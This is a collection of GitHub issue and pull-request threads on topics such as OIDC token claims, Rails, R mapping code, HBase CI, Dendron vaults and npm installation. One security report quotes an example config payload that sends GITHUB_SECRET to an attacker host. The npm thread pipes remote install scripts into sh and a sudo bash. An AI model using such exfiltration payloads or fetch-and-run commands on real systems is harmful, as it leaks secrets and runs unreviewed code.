  "iss": "https://token.actions.githubusercontent.com/",
  "nbf":<PHONE_NUMBER>,
  "exp":<PHONE_NUMBER>,
  "iat":<PHONE_NUMBER>
}

Note that the two are nearly identical, but with different unique IDs (jti) and slightly different expiries (nbf, exp, iat).

Here's some more samples around reusable workflows:
Within a user workflow:
 "aud": "https://github.com/<user-org>",
  "ref": "refs/heads/<user-ref>",
  "sha": "52969aa7482840955b3cca478e15bee77c3bc943"
  "repository": "<user-org>/<user-repo>",
  "repository_owner": "<user-org>",
  "run_id": "2001655687",
  "run_number": "30",
  "run_attempt": "1",
  "workflow": ".github/workflows/<user-workflow>.yml",
  "job_workflow_ref": "<user-org>/<user-repo>/.github/workflows/<user-workflow>.yml@refs/heads/<user-ref>",

Within a reusable workflow:
"aud": "https://github.com/<user-org>",
  "ref": "refs/heads/<user-ref>",
  "sha": "52969aa7482840955b3cca478e15bee77c3bc943"
  "repository": "<user-org>/<user-repo>",
  "repository_owner": "<user-org>",
  "run_id": "2001655687",
  "run_number": "30",
  "run_attempt": "1",
  "workflow": ".github/workflows/<user-workflow>.yml",
  "job_workflow_ref": "<trusted-org>/<trusted-repo>[/.github/workflows/<trusted-builder>@](https://goto.google.com/.github)some_ref",

GitHub has added the claims we asked for 🎉
{
  "jti": "6e67b1cb-2b8d-4be5-91cb-757edb2ec970",
  "sub": "repo:woodruffw/gha-oidc-jwt-test-repo:environment:test",
  "aud": "https://github.com/woodruffw",
  "ref": "refs/pull/6/merge",
  "sha": "b3c393cd27b93ca2b7287c0c6e5c299de2c7f727",
  "repository": "woodruffw/gha-oidc-jwt-test-repo",
  "repository_owner": "woodruffw",
  "repository_owner_id": "3059210",
  "run_id": "2210189049",
  "run_number": "19",
  "run_attempt": "1",
  "repository_id": "451973815",
  "actor_id": "3059210",
  "actor": "woodruffw",
  "workflow": "CI",
  "head_ref": "new-claims",
  "base_ref": "main",
  "event_name": "pull_request",
  "ref_type": "branch",
  "environment": "test",
  "job_workflow_ref": "woodruffw/gha-oidc-jwt-test-repo/.github/workflows/ci.yml@refs/pull/6/merge",
  "iss": "https://token.actions.githubusercontent.com",
  "nbf":<PHONE_NUMBER>,
  "exp":<PHONE_NUMBER>,
  "iat":<PHONE_NUMBER>
}

Specifically, we'll want to verify repository_owner_id. We can probably put actor_id in our "intentionally ignored" set for now, since we don't want to constrain publishing based on the maintainer who triggers the workflow.
I think we can ignore repository_id entirely, since we always associate publishing with the tuple of (owner, repo).


Rails 5 - undefined method `match' for #Class:0x007fc9b7a33378

This is the problematic line:
      def klass
        @klass ||= active_record.send(:compute_type, options[:class_name] || name.to_s.sub(/_count\z/, '').singularize.classify)
      end

I think the problem boils down to the fact that you're invoking a protected AR method.
Any hint?
Cheers - Victor

Thank you for reporting the issue. Could you show a full backtrace with not image but text?
And what kind of model or method call reproduces the error?

In my ocurrence, options[:class_name] wasn't an actual class name, but a class (e.g. MyModel).
So changing the method impl to
@klass ||= options[:class_name]
did the trick.
And then your gem did its job, and saved me N+1 queries!
Let me know if I can help you debug this.

Thank you for reporting the issue. Could you show a full backtrace with not image but text?
And what kind of model or method call reproduces the error?

For the attempt
 Design.includes(:user).precount(:votes).first
I get:
Exception: NoMethodError: undefined method `match' for #<Class:0x007fd5eccdd128>
Did you mean?  catch
--
 0: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/dynamic_matchers.rb:21:in `method_missing'
 1: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/inheritance.rb:137:in `compute_type'
 2: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-precount-0.6.2/lib/active_record/precount/reflection_extension.rb:27:in `klass'
 3: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/association.rb:118:in `klass'
 4: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/preloader.rb:163:in `block in grouped_records'
 5: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/preloader.rb:159:in `each'
 6: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/preloader.rb:159:in `grouped_records'
 7: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/preloader.rb:148:in `preloaders_for_one'
 8: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/preloader.rb:115:in `preloaders_on'
 9: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/preloader.rb:102:in `block in preload'
10: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/preloader.rb:101:in `each'
11: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/preloader.rb:101:in `flat_map'
12: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/associations/preloader.rb:101:in `preload'
13: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/relation.rb:705:in `block in exec_queries'
14: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/relation.rb:704:in `each'
15: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/relation.rb:704:in `exec_queries'
16: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/relation.rb:580:in `load'
17: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/relation.rb:260:in `records'
18: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/relation.rb:256:in `to_a'
19: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/relation/finder_methods.rb:561:in `find_nth_with_limit'
20: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/relation/finder_methods.rb:590:in `find_nth_with_limit_and_offset'
21: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/relation/finder_methods.rb:543:in `find_nth'
22: /Users/vemv/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.0/gems/activerecord-<IP_ADDRESS>/lib/active_record/relation/finder_methods.rb:122:in `first'

class_name should be String. http://guides.rubyonrails.org/association_basics.html
But this error message is a little hard to understand. We may need some fix for this.

class_name should be String.

Just in case - I don't pass any class_name option... the error seems to originate from the gem itself, when using Rails 5. Could it be the case?


Identify car dependent desire lines

Run this code in R to reproduce for any region:
library(sf)
#> Linking to GEOS 3.7.0, GDAL 2.3.2, PROJ 5.2.0
library(tmap)
library(dplyr)
#>
#> Attaching package: 'dplyr'
#> The following objects are masked from 'package:stats':
#>
#>     filter, lag
#> The following objects are masked from 'package:base':
#>
#>     intersect, setdiff, setequal, union

region = "greater-manchester"

u = paste0(
  "https://github.com/npct/pct-outputs-regional-notR/raw/master/commute/msoa/",
  region,
  "/l.geojson"
  )

desire_lines = read_sf(u)
desire_lines_1000 = desire_lines %>%
  top_n(1000, all)
plot(desire_lines_1000$geometry)

car_dependent_routes = desire_lines_1000 %>%
  mutate(percent_drive = car_driver / all * 100) %>%
  filter(rf_dist_km < 3 & rf_dist_km > 1)

b = c(0, 25, 50, 75)
tm_shape(car_dependent_routes) +
  tm_lines(col = "percent_drive", lwd = "all", scale = 5, breaks = b, palette = "-inferno")

Created on 2019-02-08 by the reprex package (v0.2.1)

Here are the results for West Yorkshire:
library(sf)
#> Linking to GEOS 3.7.0, GDAL 2.3.2, PROJ 5.2.0
library(tmap)
library(dplyr)
#>
#> Attaching package: 'dplyr'
#> The following objects are masked from 'package:stats':
#>
#>     filter, lag
#> The following objects are masked from 'package:base':
#>
#>     intersect, setdiff, setequal, union

region = "west-yorkshire"

u = paste0(
  "https://github.com/npct/pct-outputs-regional-notR/raw/master/commute/msoa/",
  region,
  "/l.geojson"
  )

desire_lines = read_sf(u)
desire_lines_1000 = desire_lines %>%
  top_n(1000, all)
plot(desire_lines_1000$geometry)

car_dependent_routes = desire_lines_1000 %>%
  mutate(percent_drive = car_driver / all * 100) %>%
  filter(rf_dist_km < 3 & rf_dist_km > 1)

b = c(0, 25, 50, 75)
tm_shape(car_dependent_routes) +
  tm_lines(col = "percent_drive", lwd = "all", scale = 5, breaks = b, palette = "-inferno")

Created on 2019-02-08 by the reprex package (v0.2.1)


Fix a number of single quotes.

There were a few straight and left- single quotes that should be right-.

Thanks for the fix! Also for d3 & bl.ocks, both of which we used heavily for this.

No problem! And you’re very welcome.


Fix Direction API alternatives param

Fixed issue with not working alternatives param.
This is related to issue: #48 which is closed but as it turned out only the alternatives and waypoints params exclusiveness was resolved.
Currently always one route is received from every query - no matter if alternatives is set to true or false. This is due to the fact that alternatives param is not passed from directionWithAddress() and/or directionWithLocation() methods to directions() and to the buildUrl() method.
In this change the alternatives param is passed between above methods + two tests are added.
According to the contributing guidelines I've also fixed dartanalyzer issues in core.dart file.

Hi @lejard-h 🙂
Could you please review this code?

I had not seen this PR and had just opened an issue concerning the bug fixed in this PR.


File path suggestion doesn't work without inputting delimiters (regression)

Can you add a regression test?
vscode 1.28.1
cc @andy-ms @mjbvz
TypeScript Version:  3.2.0-dev.20181011

Search Terms:
Code
See #26247
Expected behavior:
Actual behavior:
Playground Link:
Related Issues:

Looking at that issue I'm not sure this was even a TypeScript bug in the first place?

How can I distinguish vscode's bug and typscript server's? Which should have responsibility?

vscode will move issues to us if they determine they aren't solvable on the editor side, generally speaking. As a rule of thumb though, if it's a problem with the contents of emit/errors/quickinfo/completions/quickfixes/refactors/formatting/etc, it's our fault. If it's a problem with when/where/how something is displayed it might be vscode's.

Thanks for the details.

Yes I believe this was a vscode issue that has since been fixed

Where is a regression test?

There isn't one. It's not clear that VS Code regressed or that some extension acted up or that your workspace got into a badly configured state

How can we see the fact that the issue is fixed? Who can confirm it without you? Nothing to show it. Therefore, your response doesn't show the ground of the fact that the issue is fixed and can't be it.


HBASE-28290 Add 'TM' superscript to the index page title when generat…

…ing javadoc

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
3m  7s
Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

_ master Compile Tests _

+1 :green_heart:
mvninstall
2m 55s
master passed

+1 :green_heart:
compile
5m  0s
master passed

+1 :green_heart:
spotless
0m 43s
branch has no errors when running spotless:check.

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
2m 41s
the patch passed

+1 :green_heart:
compile
4m 49s
the patch passed

+1 :green_heart:
javac
4m 49s
the patch passed

+1 :green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

+1 :green_heart:
xml
0m  2s
The patch has no ill-formed XML file.

+1 :green_heart:
hadoopcheck
9m 24s
Patch does not cause any errors with Hadoop 3.2.4 3.3.6.

+1 :green_heart:
spotless
0m 42s
patch has no errors when running spotless:check.

_ Other Tests _

+1 :green_heart:
asflicense
0m 14s
The patch does not generate ASF License warnings.

35m 14s

Subsystem
Report/Notes

Docker
ClientAPI=1.43 ServerAPI=1.43 base: https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-5600/1/artifact/yetus-general-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/5600

Optional Tests
dupname asflicense javac hadoopcheck spotless xml compile

uname
Linux 54d5b9c6fd1c 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 75801a5291

Default Java
Eclipse Adoptium-11.0.17+8

Max. process+thread count
73 (vs. ulimit of 30000)

modules
C: . U: .

 U: .

Console output
https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-5600/1/console

versions
git=2.34.1 maven=3.8.6

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m 46s
Docker mode activated.

-0 :warning:
yetus
0m  3s
Unprocessed flag(s): --brief-report-file --spotbugs-strict-precheck --whitespace-eol-ignore-list --whitespace-tabs-ignore-list --quick-hadoopcheck

_ Prechecks _

_ master Compile Tests _

+1 :green_heart:
mvninstall
2m 37s
master passed

+1 :green_heart:
compile
1m 39s
master passed

+1 :green_heart:
shadedjars
4m 48s
branch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
1m 30s
master passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
2m 20s
the patch passed

+1 :green_heart:
compile
1m 40s
the patch passed

+1 :green_heart:
javac
1m 40s
the patch passed

+1 :green_heart:
shadedjars
4m 42s
patch has no errors when building our shaded downstream artifacts.

-0 :warning:
javadoc
1m 24s
root generated 1 new + 82 unchanged - 1 fixed = 83 total (was 83)

_ Other Tests _

-1 :x:
unit
317m 44s
root in the patch failed.

344m  7s

Subsystem
Report/Notes

Docker
ClientAPI=1.43 ServerAPI=1.43 base: https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-5600/1/artifact/yetus-jdk8-hadoop3-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/5600

Optional Tests
javac javadoc unit shadedjars compile

uname
Linux 04613df252fc 5.4.0-169-generic #187-Ubuntu SMP Thu Nov 23 14:52:28 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
master / 75801a5291

Default Java
Temurin-1.8.0_352-b08

javadoc
https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-5600/1/artifact/yetus-jdk8-hadoop3-check/output/diff-javadoc-javadoc-root.txt

unit
https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-5600/1/artifact/yetus-jdk8-hadoop3-check/output/patch-unit-root.txt

Test Results
https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-5600/1/testReport/

Max. process+thread count
5121 (vs. ulimit of 30000)

modules
C: . U: .

Console output
https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-5600/1/console

versions
git=2.34.1 maven=3.8.6

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

Thanks @petersomogyi !
Let me kick a site build to see if it works as expected.


Adding .toBeOneOf to matchers

What
Adds .toBeOneOf to matchers, and closes #24 in the process.
Housekeeping

[x] Unit tests
[x] Documentation is up to date
[x] No additional lint warnings
[x] Add yourself to contributors list (yarn contributor)

Codecov Report

Merging #61 into master will not change coverage.
The diff coverage is 100%.

@@          Coverage Diff          @@
##           master    #61   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files           8     10    +2
  Lines          40     49    +9
  Branches        5      6    +1
=====================================
+ Hits           40     49    +9

Impacted Files
Coverage Δ

src/matchers/toBeOneOf/predicate.js
100% <100%> (ø)

src/matchers/toBeOneOf/index.js
100% <100%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0803d80...4033231. Read the comment docs.

Good job @andrewhayward! Don't forget to star the project :smile:


Disable differ via config

Hello @prose team!
We heavily use prose for ttbagroup website, and we have tons of pages heavy-loaded with html generated from site-generator.
As I've figured out, the reason is diffing - for large change it takes too long.
Can we possibly disable diffing of some subfolders via _config.yml, as we do with metafields?
Thanks!

Hey @dfcreative thanks for opening this ticket. I think the right way to handle this is to just hide the diff when it's too big, the same way Github does.
Can you give me an example of how a big a diff you're talking about? Roughly how many lines of code are you changing?

Hi Derek, thank you for response. Example file: https://github.com/ttbagroup/ttbagroup.github.io/blob/master/pages/advertising.html, I would estimate it 1.5k lines. In some reason github handles same diffs fine, whereas prose just hangs, as if there is some O(n*n)  happening. I would appreciate help with that!

I looked into this a bit. Prose uses jsdiff for this feature, and #diffWords is what's eating up the main thread here.

Looking a bit closer, it looks like clonePath is particularly expensive.

The bundled version of diff is pretty old so I'm going to see if updating this dependency makes this work any faster.

Updating the version does nothing, however using the #diffLines method instead of #diffWords speeds this up dramatically.
The result is something like this, which I think is acceptable, and also how Github shows diffs:

I'm inclined to just switch the method to diffLines for everything and keeping the diffs consistent for every file, and not worry about looking at the size of the file to determine whether to use the slower algorithm or not.

Sweet, thanks a lot!


Dendron views and some command doesn't work as expected with remote vault

Please select the area your bug applies to. (Multiple selections are Possible. You can leave blank if you're not sure.)

[X] Workspace.  VSCode workspace, vaults, Intellisense/autocomplete, Dendron settings
[ ] Lookup.  Dendron's Lookup Command
[ ] Views.  Dendron Preview, Tree View, Side Panels in the UI
[X] Schema.  Dendron Schemas
[ ] Pod.  Data import from / export to Dendron
[ ] Publish.  External Site Publish
[ ] Markdown.  Markdown features, such as syntax support and features

Describe the bug
When I try and create a schema from a note I get the error message:
{"level":30,"time":1658902019879,"pid":25160,"hostname":"DESKTOP-M25NKFA","name":"dendron","ctx":"refreshBacklinksChangeActiveTextEditor"}
{"level":50,"time":1658902023530,"pid":25160,"hostname":"DESKTOP-M25NKFA","name":"dendron","ctx":"dendron.createSchemaFromHierarchy:run","error":{"name":"DendronError","status":"unknown","payload":"{\"wsRoot\":\"c:\\\\Users\\\\jonat\\\\Dendron\",\"fsPath\":\"c:\\\\Users\\\\jonat\\\\Dendron\\\\dependencies\\\\github.com\\\\doylejg\\\\work\",\"vaults\":[{\"fsPath\":\"dependencies/github.com/doylejg/work\",\"remote\":{\"type\":\"git\",\"url\":\"git@github.com:doylejg/work.git\"},\"name\":\"work\"}],\"normPath\":\"dependencies\\\\github.com\\\\doylejg\\\\work\",\"msg\":\"no vault found\"}"}}

I cannot view graphs either:
{"level":30,"time":1658902087502,"pid":25160,"hostname":"DESKTOP-M25NKFA","name":"dendron","ctx":"WindowWatcher:onDidChangeVisibleTextEditors","editorPaths":["tasks","c:\\Users\\jonat\\Dendron\\dependencies\\github.com\\doylejg\\work\\daily.journal.2022.07.26.md"]}
{"level":30,"time":1658902087519,"pid":25160,"hostname":"DESKTOP-M25NKFA","name":"dendron","ctx":"CalendarView:openTextDocument","uri":"c:\\Users\\jonat\\Dendron\\dependencies\\github.com\\doylejg\\work\\daily.journal.2022.07.26.md","msg":"not in workspace"}
{"level":30,"time":1658902087519,"pid":25160,"hostname":"DESKTOP-M25NKFA","name":"dendron","ctx":"refreshBacklinksChangeActiveTextEditor"}
{"level":30,"time":1658902091856,"pid":25160,"hostname":"DESKTOP-M25NKFA","name":"dendron","ctx":"dendron.showNoteGraph:run","msg":"pre-execute"}

To Reproduce
Steps to reproduce the behavior:

Setup workspace with only remote git vault
Click on graph or schema

Expected behavior
I expected local graphs and schema
Desktop (please complete the following information)

OS: Windows 10
Versions (all that apply to bug):

Dendron Extension: v0.105.0
VS Code version: 1.69.2
Dendron CLI: ?

Additional context
Joshi reproduced the issue on discord
Dendron Log file
Please attach the output of > Dendron:Dev: Open Logs here
version: 5
dev:
    enablePreviewV2: true
    enableSelfContainedVaults: true
commands:
    lookup:
        note:
            selectionMode: extract
            confirmVaultOnCreate: true
            vaultSelectionModeOnCreate: smart
            leaveTrace: false
            bubbleUpCreateNew: true
            fuzzThreshold: 0.2
    randomNote: {}
    insertNoteLink:
        aliasMode: none
        enableMultiSelect: false
    insertNoteIndex:
        enableMarker: false
    copyNoteLink: {}
    templateHierarchy: template
workspace:
    vaults:
        -
            fsPath: dependencies/github.com/doylejg/work
            remote:
                type: git
                url: git@github.com:doylejg/work.git
            name: work
    journal:
        dailyDomain: daily
        name: journal
        dateFormat: y.MM.dd
        addBehavior: childOfDomain
    scratch:
        name: scratch
        dateFormat: y.MM.dd.HHmmss
        addBehavior: asOwnDomain
    task:
        name: task
        dateFormat: y.MM.dd
        addBehavior: asOwnDomain
        statusSymbols:
            '': ' '
            wip: w
            done: x
            assigned: a
            moved: m
            blocked: b
            delegated: l
            dropped: d
            pending: 'y'
        taskCompleteStatus:
            - done
            - x
        prioritySymbols:
            H: high
            M: medium
            L: low
        todoIntegration: false
        createTaskSelectionType: selection2link
    graph:
        zoomSpeed: 1
        createStub: false
    enableAutoCreateOnDefinition: false
    enableHandlebarTemplates: true
    enableXVaultWikiLink: false
    enableRemoteVaultInit: true
    enableUserTags: true
    enableHashTags: true
    workspaceVaultSyncMode: noCommit
    enableAutoFoldFrontmatter: false
    enableEditorDecorations: true
    maxPreviewsCached: 10
    maxNoteLength: 204800
    enableFullHierarchyNoteTitle: false
    enableSmartRefs: true
    seeds:
        dendron.templates: {}
preview:
    enableFMTitle: true
    enableNoteTitleForLink: true
    enableFrontmatterTags: true
    enableHashesForFMTags: false
    enableMermaid: true
    enablePrettyRefs: true
    enableKatex: true
    automaticallyShowPreview: false
publishing:
    enableFMTitle: true
    enableNoteTitleForLink: true
    enableMermaid: true
    enablePrettyRefs: true
    enableKatex: true
    copyAssets: true
    siteHierarchies:
        - root
    writeStubs: false
    siteRootDir: docs
    seo:
        title: Dendron
        description: Personal Knowledge Space
    github:
        enableEditLink: true
        editLinkText: Edit this page on GitHub
        editBranch: main
        editViewMode: tree
    enableSiteLastModified: true
    enableFrontmatterTags: true
    enableHashesForFMTags: false
    enableRandomlyColoredTags: true
    enableTaskNotes: true
    enablePrettyLinks: true

Thanks @doylejg for reporting the issue. It looks like the issue extends to other views aswell: Preview, Backlinks and command: Create Schema From Hierarchy also fails with no vault found error

This should be fixed with Dendron v0.106. Feel free to re-open if not the case

This should be fixed after Dendron v0.107. Feel free to ping here if that is not the case.


Security: Attacker can extract secrets through malicious config changes.

https://github.com/Pandapip1/jekyll-label-action/blob/bfc2f4c2e738017a20b4822c229f02d1db79c59b/src/action.ts#L7
Since this needs write permissions, an attacker can setup a config in their PR like:
"type: Core": fetch(`malicious.host/${process.env.GITHUB_SECRET}`)

This will then get executed on this line in the action, and the extracted GITHUB_SECRET will have repository write permissions.

This won't work. The relevant line of code that fetches this yml file is the following:
const response = await octokit.request(`GET /repos/${repository?.owner.login}/${repository?.name}/contents/.jekyll-labels.yml`);

It explicitly gets the file (via GET request) from the original repository's default branch. I appreciate your concern, however!

Can we get a comment added above that line that explains that this is fetched from the base repository for security reasons and elaborate a bit on that?  Normally I am not a fan of comments, but in this case the behavior is a bit unexpected and someone can imagine a future author seeing this as a bug and "fixing it" to fetch from the PR instead.

Can we get a comment added above that line that explains that this is fetched from the base repository for security reasons and elaborate a bit on that? Normally I am not a fan of comments, but in this case the behavior is a bit unexpected and someone can imagine a future author seeing this as a bug and "fixing it" to fetch from the PR instead.

Sure thing!


WIP: Add authorization to juniper.

WIP

I am not sure we would take a PR to do this. For example, this assumes a certain structure of a permission system which may not work for all apps.
What is stopping you from doing this on top of juniper? Why not wrap juniper objects and such so that your authorization code is called by the resolver?

What is stopping you from doing this on top of juniper? Why not wrap juniper objects and such so that your authorization code is called by the resolver?
This is what we were planning to do, but I don't quite understand how we could implement this without a PR. Can you provide us some pseudo code to help us comprehend?

@EituKo Resolvers can return an error (FieldResult<...>).
#[juniper::object(context = MyContext)]
impl Query {
    fn protected_field(mycontext: &MyContext) -> FieldResult<YourTypeHere> {
         if context.authorize() {
              Ok(/* your code here */)
         } else {
              Err("Access denied".to_string())
         }
    }
}

As @andy128k points out, can you can call whatever you want in the resolvers. You would manually something similar to above for each field you need auth. If that is repetitive you can create your own macros or derives with your own annotations.
For example, you could create a macro myauth_graphql_object::
#[myauth_graphql_object(context = MyContext)]
impl Query {
    #[myauth(protected)]
    fn protected_field(mycontext: &MyContext) -> YourTypeHere {
     // your protected code here
    }
    fn unprotected_field(mycontext: &MyContext) -> YourTypeHere {
     // your unprotected code here
    }
}

That would spit out:
#[juniper::object(context = MyContext)]
impl Query {
    fn protected_field(mycontext: &MyContext) -> FieldResult<YourTypeHere> {
         if context.authorize() {
              Ok(/* your protected code here */)
         } else {
              Err("Access denied".to_string())
         }
    }

    fn unprotected_field(mycontext: &MyContext) -> YourTypeHere {
         /* your unprotected code here */)
    }
}

(probably best to make it protected by default in a real implementation though to prevent security bugs).
Note the generated FieldResult and if statement due to the myauth annotation.
Here myauth_graphql_object is a procedural macro. I'm not sure if proc macros are multiple passes so if you can directly generate the call tojuniper::graphql_object. If not your auth macro can depend on juniper_codegen and just output the juniper boilerplate directly.
You could add whatever you want in there and generate whatever code makes sense for you.
Let me know if this doesn't solve the issue!


[4.0] IRGen: Fix linkage for shared declarations

They need external linkage not linkonce_odr which can only be used by defintions
not declarations. This got exposed by clang imported protocol witness table declarations. They get assigned shared linkage since they are potentially not unique.

Explanation: There are situations where we end up with a SIL declaration of a protocol witness table that has shared linkage. We will unconditionally assign llvm’s linkonce_odr linkage to shared definitions and declarations. However, only definitions are allowed with this linkage. Instead we should use external linkage for such declarations.
This situation can arise under optimized incremental compilation when there are two files. One contains a protocol defintion that extends a clang importer synthesized protocol and another file that uses that protocol.

Scope of Issue: Compiler error when one uses incremental compilation with a definition of a hashable protocol conformance to a NS_OPTION type in one file and the use of the NS_OPTION type hashable conformance in another file. This is an older bug that has been around since at least last year.

Risk: Low. We are changing the linkage of a declaration from linkonce (which crashes) to a declaration with external linkage. What can at most happen is that we change an compiler error into a linker error (because the declaration is not satisfied by a definition somewhere else).

Testing: Added swift regression test

rdar://26563441

@swift-ci Please test

@swift-ci Please test source compatibility


sudo env does not include /user/local/bin on Amazon Linux AMI

sudo env does not include /user/local/bin on Amazon Linux AMI which means
    sudo npm install

will fail with command not found when #!/usr/bin/env node is called.

@donpark
I followed your instructions but it still doe snot install for me.
The script freezes at this point
"node cli.js install https://github.com/isaacs/ronnjs/tarball/master"
And stays like this forever :(
Any ideas?

Have you tried curl http://npmjs.org/install.sh | sh instead of make install.
I used make install before because former didn't work but now it seems to be working (at least under node 0.6.2).

Yes infact it was curl http://npmjs.org/install.sh | sh that i first tried out...it is the most recommended method...But that freezes to. It freezes here:
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by John Gilmore and Jay Fenlason.
fetching: http://registry.npmjs.org/npm/-/npm-1.0.106.tgz
0.6.2
And does not go on with the install. When this did not work, i had to google for an alternate method, which is what you suggested but yet again it did not work. Something is wrong somewhere and don't really know :(

Yup. two different result. my Amazon Linux AMI works, yours don't. Another excitingly irritating day. :-(

:( :(
Am trying to see if i can manually install the module i need installed without npm
Yeah...excitingly irritating day it is!

@dadepo Try this:
curl http://npmjs.org/install.sh | sudo npm_debug=1 PATH=$PATH bash

and post a brand new issue if it fails, with the full output.


Fix remove support bug

This is a redo of https://github.com/lbryio/lbrycrd/pull/45, containing only the fix and not the test which is contained in https://github.com/lbryio/lbrycrd/pull/52
Fixing below exception that would occurs, when decrementing block and calling function "removeSupportFromMap" to undo a support which has been spent on a txin that is NOT txin[0]
lbrycrdd: claimtrie.cpp:2294: bool CClaimTrieCache::decrementBlock(insertUndoType&, claimQueueRowType&, insertUndoType&, supportQueueRowType&, std::vectorstd::pair<std::basic_string<char, int> >&) const: Assertion `removeSupportFromMap(itSupportUndo->name, itSupportUndo->outPoint, support, false)' failed.
Essentially, the bug caused spent supports to not be undoable. Thus when decrementing a block where a support is spent, the support would still be spent when it should be unspent. When decrementing the block where that support was created, the removeSupportFromMap function would fail because the support its looking to remove is not there.
With this change, clients must run -reindex once to fix the claimtrie.
To verify the patch is working, running ./lbrycrd-cli verifychain 4 0 , should not cause an exception and return true. If not patched, running the command, will cause lbrycrdd to throw the above exception.

one type, otherwise LGTM

Fixed spelling mistake, rebased , and merged


Fix incorrect delecate in overriden method in JdkOpenSslEngineInterop…

…tTest
Motivation:
JdkOpenSslEngineInteroptTest.mySetupMutualAuthServerIsValidClientException(...) delegated to the wrong super method.
Modifications:
Fix delegate
Result:
Correct test-code.

@Scottmitch spotted this while working on another issue... PTAL .
That said the outcome is the same as before

Cherry-picked into 4.1 (847359f) and 4.0 (c1c5392)


Adds Flask-Security password and role handling.

@FBRTMaka @DanielJMaher Please review and test.
These modifications allow for the management of the users via Flask-Admin and Flask-Security in a separate Flask app that will be rolled out early next week under a new repo.  We should perform a design review of the role/scope system in light of the new capability this provides and see if it will make the permission system a bit more intuitive to the OOI team.
As it is, these modifications stand on their own without the 'admin' app.

What was the objective here? Not trying to be difficult.  I just want to get an idea of what sort of security improvements this provides.  I'm sure I'm not seeing the big plan yet.

@DanielJMaher @oceanzus , Could we meet about this 'separate flask app' to handle security.  I'm interested in the pros and cons and am excited to see how it'll help overall.  Sound interesting!

@FBRTMaka this has your blessing as well, right?

@FBRTMaka Can we merge?

